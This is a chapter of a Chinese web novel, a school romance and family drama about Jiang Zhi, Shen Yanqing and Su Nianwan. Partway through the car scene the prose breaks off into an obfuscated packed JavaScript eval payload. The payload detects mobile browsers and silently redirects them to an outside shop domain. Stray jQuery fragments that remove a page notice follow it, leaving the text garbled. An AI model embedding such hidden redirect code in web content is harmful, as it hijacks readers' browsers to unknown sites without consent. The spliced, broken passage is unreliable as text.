脚步声和说笑声渐渐远了。周牧白不知道说了句什么，裴衍之低低地笑了一声，那笑声顺着走廊飘进来，又被穿堂风吹散。
姜栀没有走。
她转过身，走回沈砚清桌边，弯下腰，开始整理桌上那摞被翻乱的书籍。
沈砚清这个人，龟毛，洁癖，难伺候。
学校的教室每天都有保洁阿姨打扫，但他不满意。他的书有固定的摆放顺序——左边是正在读的书，按阅读进度从高到低排列；右边是参考资料，按学科分类；笔筒在右上角，便签本在笔筒左边，手机放在便签本上面。
保洁阿姨每次打扫完都会把所有东西归拢到一起，摆得整整齐齐，但那个“整齐”不是他要的“整齐”。
每次打扫完他都不开心，又憋着不说，只有姜栀看得出来。于是这个活儿就落在了姜栀头上。
她做了很多年，做到后来已经不需要思考。
沈砚清用余光看着她做这些事，筷子没有停。
姜栀把最后一本书归位，直起身，准备去收拾保温饭盒。
“姜栀。”
她转过头。
沈砚清放下筷子，看着她。那双琥珀色的眼睛里，有一种她从未见过的迟疑，像是想说点什么，又不知道从何说起。
沉默了两秒。
“你生气了吗？”他问。
姜栀愣了一下。“没有。”她说。
“我想了想，”姜栀垂下眼睛，语气平缓得像在说一件跟自己无关的事，“确实是我不好。不该跟阿姨说那么多。”
“其实——”沈砚清开口，又停住了。
姜栀抬起头看他。
“其实也不全是你的问题。”他说。
这句话说出来的瞬间，他自己都愣了一下。
两个人很少吵架，因为姜栀从来都不会跟他吵。姜栀面上安静寡言，内里的性子却温柔又细腻，她总是像影子一样跟在他身后，在他没有出声的时候，就会按照他的意思把他的事情做好。
最近却因为苏念晚的事，频频跟他闹别扭。
这让他心里泛起了厌烦。
他讨厌那种“被拴住”的感觉——她为他做一切，然后以此为筹码，要求他按照她的期待来活。她不吵不闹的时候，像一件熨帖的旧衣服，穿着舒服，但你知道它不是你自己选的。她闹起来的时候，那件衣服突然收了紧，勒得人喘不过气。
更讨厌的是，他知道自己没办法干脆利落地把这件衣服脱掉。
她父亲是为沈家死的，她六岁就没了家。因为“砚清就是你最重要的人”这句话，她听话到把自己活成了一项任务。
他讨厌这种道德上的死结。
他也讨厌自己会因为这个死结而心软。
刚才那句“其实也不全是你的问题”脱口而出的时候，他就在心里骂了自己一句。
不该说的。说了就等于告诉她：你可以继续这样，我会原谅你。
但他还是说了。
因为看到她站在桌边整理书的背影——那么熟练，那么安静，那么理所当然地做着不属于她的事——他心里有一个很小的声音在说：她做这些做了十年，你连一句软话都不肯给吗？
所以他给了。
然后更烦了。
姜栀也愣了。
沈砚清被她看得有些不自在，移开视线，拿起那碗已经不太热的鸡汤，喝了一口。
“我妈那个人，”他说，声音比刚才低了一些，“她想知道的事，你很难不告诉她。”
这句话说得隐晦，但姜栀听懂了。他在替她开脱。
姜栀垂下眼睛，嘴角弯了一下，是一种连她自己都没意识到的、很轻很淡的弧度。
“但我可以少说一点。”她说。
“嗯。”
姜栀把饭盒隔层叠好，扣上搭扣，拎起保温袋。“那我先走了。”
沈砚清点了点头。
姜栀转身朝门口走去。
沈砚清在没人看见的时候轻轻松了一口气。
——
放学铃响的时候，走廊里重新热闹起来。
苏念晚抱着一件叠得整整齐齐的校服外套，站在自习室门口。她犹豫了几秒，抬起手，轻轻叩了三下。
“进来。”
她推开门。
沈砚清还坐在靠窗的位置，看见苏念晚后，目光微微顿了一下。
“学长，”苏念晚走到他桌前，把外套放在桌角，“衣服还你。谢谢你。”
沈砚清看了一眼那件外套，叠得很整齐。他点了点头：“嗯。”
苏念晚没有立刻走。她站在那儿，手指无意识地在身侧攥了一下裙摆，又松开。
“还有事？”沈砚清问，眼睛里是自己都没意识到的柔软。
“学长，”她说，声音不大，但很清晰，“谢谢你今天中午的事。其实……你不用每次都帮我。”
沈砚清放下笔，靠在椅背上，看着她。
苏念晚站在桌边，夕阳从她身后照过来，把她整个人笼在一层淡金色的光晕里。她的个子不算高，身形偏瘦，校服穿在身上显得有些空荡荡的。脸很小，尖尖的下巴，颧骨微微突出，是那种带着几分倔强感的骨相。
“我帮你，”沈砚清说，“是因为有人不该被那样对待。”
苏念晚的眼睫颤了一下。她垂下眼睛，沉默了几秒，然后抬起头，嘴角弯了一个很小的弧度。
“不管怎样，谢谢你。”她说，“那我先走了，不打扰你。”
她转身，走了两步。
“苏念晚。”
她停下来，回过头。
沈砚清拿起那件外套，搭在手臂上，站起来。“一起走，”他说，“我也该回去了。”
苏念晚愣了一下，然后点了点头。
两个人并肩走出自习室，穿过走廊。夕阳从西边的窗户大片大片地涌进来，把两个人的影子拉得很长很长，交叠在一起，又分开，又交叠。
走到教学楼门口的时候，苏念晚开口。
“学长，你还记得我们第一次见面吗？”
沈砚清侧头看她。
“图书馆，三楼，”苏念晚说，声音里带着一点点回忆的味道，“我占了你的位置。你朋友让我让开，我没让。”
沈砚清想起来了。那天他走进图书馆，看到自己惯常坐的位置上坐了一个陌生的女生，低着头看书，完全没有要挪动的意思。
裴衍之笑着提醒她“这位子有人”，她头都没抬，只回了一句：“图书馆的座位，先到先得。”
裴衍之当时回头看他的表情，像是见了鬼——在这个学校里，竟然有人敢对他们四个说“不”。
“你后来没有赶我走，”苏念晚继续说，“你坐到了我对面。我们一句话都没说，看了两个小时的书。”
“你当时在看《分子生物学》。”沈砚清说。
苏念晚脚步顿了一下，转过头看他，眼睛里有一闪而过的讶异：“你记得？”
“批注做得很满，”沈砚清说，“字也不错。”
苏念晚低下头，耳朵尖悄悄红了一点。
“我那时候以为你会让人把我赶走，”她说，“后来我发现，你没有别人说的那么……冷。”
“别人怎么说我？”
苏念晚想了想，认真地回答：“说你是沈家的少爷，不要轻易招惹。”
沈砚清嘴角弯了弯。
“那你为什么还坐那儿？”
苏念晚抬起头看着他，夕阳落在她眼底，像是点了一小簇火。“因为那个位置光线最好，”她说，“而且我又没做错什么。”
沈砚清看着她的眼睛，停了一秒。然后他说了一句连自己都没想到的话。“以后那个位置，你可以坐。”
苏念晚弯起眼睛，笑了，她的眼睛很亮，像是冬天里忽然开了一扇窗，阳光照进来，满室生辉。
沈砚清也忍不住笑了。
两个人走出校门。沈家的车已经等在门口，黑色迈巴赫，低调又扎眼。司机拉开了后座的门。
沈砚清没有立刻上车。他转过身，看着苏念晚。“你怎么回去？”
“公交，校门口左转两百米有站。”
沈砚清：“上车，”他说，“顺路。”
沈砚清拉开了车门，却意识到后座已经有一个人了——姜栀。两人吵了一周的架，姜栀每次意识到自己惹他不开心后，都会自己回家。今天两人算是“和好了”，所以姜栀又跟他一起回家。四目相对，一时间有些尴尬。
苏念晚也察觉到了。
“学长，我自己回去就好。”苏念晚很是善解人意地说。
这样类似的场景也发生过，当时沈砚清很生气，让姜栀自己坐车回去了，自己打车送了苏念晚。
这在沈家是很不守规矩的事情了。
姜栀走下了车，径直走到前座：“苏小姐，请。”
苏念晚愣了一下，显然没有料到姜栀竟然会主动下车。
“姜学姐您太客气了，叫我念晚就好。”苏念晚立马调整了状态，语气里带着恰到好处的乖巧。
姜栀在景澜书院的名气，并不比沈砚清低多少。虽然是沈家养女，但她从入学起就是年级前十。全国生物竞赛一等奖、英语演讲比赛冠军、校刊副主编——她的履历表拿出来，比许多世家子弟都耀眼。
更难得的是，她永远安静、得体、不卑不亢，从不因为别人身份的高低而有态度变化。就连魏岚芷那样的人，都没有办法说她的不好。
姜栀笑了笑，没说话。她拉开前座的门，弯腰坐了进去，系好安全带，整个动作一气呵成。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625077|202757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“上车吧。”沈砚清开口，语气里有不容置疑的意味。
车子驶出校门，汇入车流。车厢里安静得有些过分。
苏念晚率先打破了沉默。“姜学姐，”她的声音轻轻的，“你每天都和学长一起回家吗？”
姜栀没有回头，声音从前座传来，平稳温和：“有时候。”
“那你们感情真好，”苏念晚说，“我听说你们从小一起长大。”
姜栀笑了一下，“不算一起长大，”她说，“是沈先生和沈夫人心疼我，让我是在沈家长大的。”
这句话说得轻描淡写，但沈砚清听出了区别，他不喜欢姜栀这样卑微。
沈砚清皱了皱眉。
苏念晚能被苏家破格认回，自然也是一个极其聪明伶俐、懂得察言观色的主。她看出了沈砚清的不高兴，自然地转移了话题。
“学长，”苏念晚忽然开口，声音轻轻的，“你今天物理实验提前下课了？我好像看到你比平时早出来。”
沈砚清睁开眼，看了她一下。“嗯，做得快。”他说。
“那你的实验报告写完了吗？”
“还差结论。”
“我上周那个实验数据有点问题，后来重新跑了一遍，发现是温度传感器的校准没做，”苏念晚说。
沈砚清侧过头，看着她。“你用的是哪个型号的传感器？”
“TES-1300。”
“那个型号的零点漂移大概在0.2%左右，”沈砚清说，“你在数据处理的时候做线性修正了吗？”
苏念晚愣了一下，然后笑了：“我没有，我以为那个漂移在误差范围内。”
“在标准实验里可以忽略，”沈砚清说，“但你要是想拿高分，最好修一下。”
“好，我今晚回去改。”
两个人说起实验数据的时候，语气都很自然，像两块拼图找到了彼此的接口。
姜栀安静坐在旁边。
黑色迈巴赫在苏家别墅门口缓缓停下。苏家的宅子在城北的枫林路。
苏念晚拿起书包，拉开车门前，不知是有意还是无意，侧头看了姜栀一眼。
姜栀朝她露出一个标准的微笑。苏念晚也露出一个笑容，语气自然又有活力：“谢谢学长学姐，我先回去了。”
姜栀从前座侧过头，对她点了一下头。沈砚清坐在后座没动，只是说了句“嗯”。
苏念晚关上车门，转身朝别墅大门走去。
黑色迈巴赫调了个头，车灯扫过花园的矮灌木，驶远了。
苏念晚走到铁艺大门前，按下密码锁。门“嘀”的一声开了，她推门进去，穿过那条铺了石板的小径。两边是修剪得不太整齐的冬青——园丁这个月已经迟了三天没来。一个家族衰败的迹象，其实从很多细节地方都可以看出来。
别墅一楼的灯亮着。暖黄色的光从落地窗里透出来，把门前一小片草坪照得发亮。
苏念晚走上台阶，伸手去拉门。
门从里面拉开了。
苏念兮站在门口。丝绸裙子，外面披了一件开衫，手里端着一杯已经不太冒热气的花茶。她的头发散着，没有化妆，但眉毛和嘴唇的颜色还是比普通人深一些——半永久的，做了才不到两个月。
她靠在门框上，从上到下打量了一眼苏念晚。
“回来了？”苏念兮的声音不高不低，带着一种刻意的、漫不经心的慵懒。
苏念晚的脚步顿了一下。“姐姐。”
“啧。”
“到底是遗传了你妈狐媚子的本事，”苏念兮慢悠悠地说，每一个字都像是含着糖吐出来的，甜里带刺，“这才几天，就能劳动沈家少爷送你回来了。”
苏念晚的手指收紧了一下。沈家的车有标志，苏念兮当然认识。
苏念晚并没有被激怒，只是抬起眼，看着姐姐，语气平静得不带一丝火气。
“姐姐，这也是我的本事，不是吗？”
她顿了顿，又补了一句，声音不大，但每个字都清清楚楚：“明明家里已经有女儿了，父亲还是执意把我接回来。姐姐就没有想过，是为什么吗？”
玄关里的空气忽然安静了。
苏念兮盯着苏念晚，苏念晚长了一张很“讨巧”的脸——不是那种咄咄逼人的漂亮，而是带着几分我见犹怜的柔弱感，偏偏那双眼睛又倔得很，柔与韧搅在一起，最容易勾得人心里发痒。和她那个死去的妈一个路子。
苏念兮脸上露出嫌恶的表情，嘴角扯了一下。“那我劝你还是动作快点得好，”她说，“父亲的耐心一向是不多的。”
苏念晚弯了弯眼睛，笑容淡淡的，不甜不腻，恰到好处。“一定不会让姐姐失望。”
她从苏念兮身侧走过，踩上楼梯，脚步声不疾不徐，消失在二楼的转角处。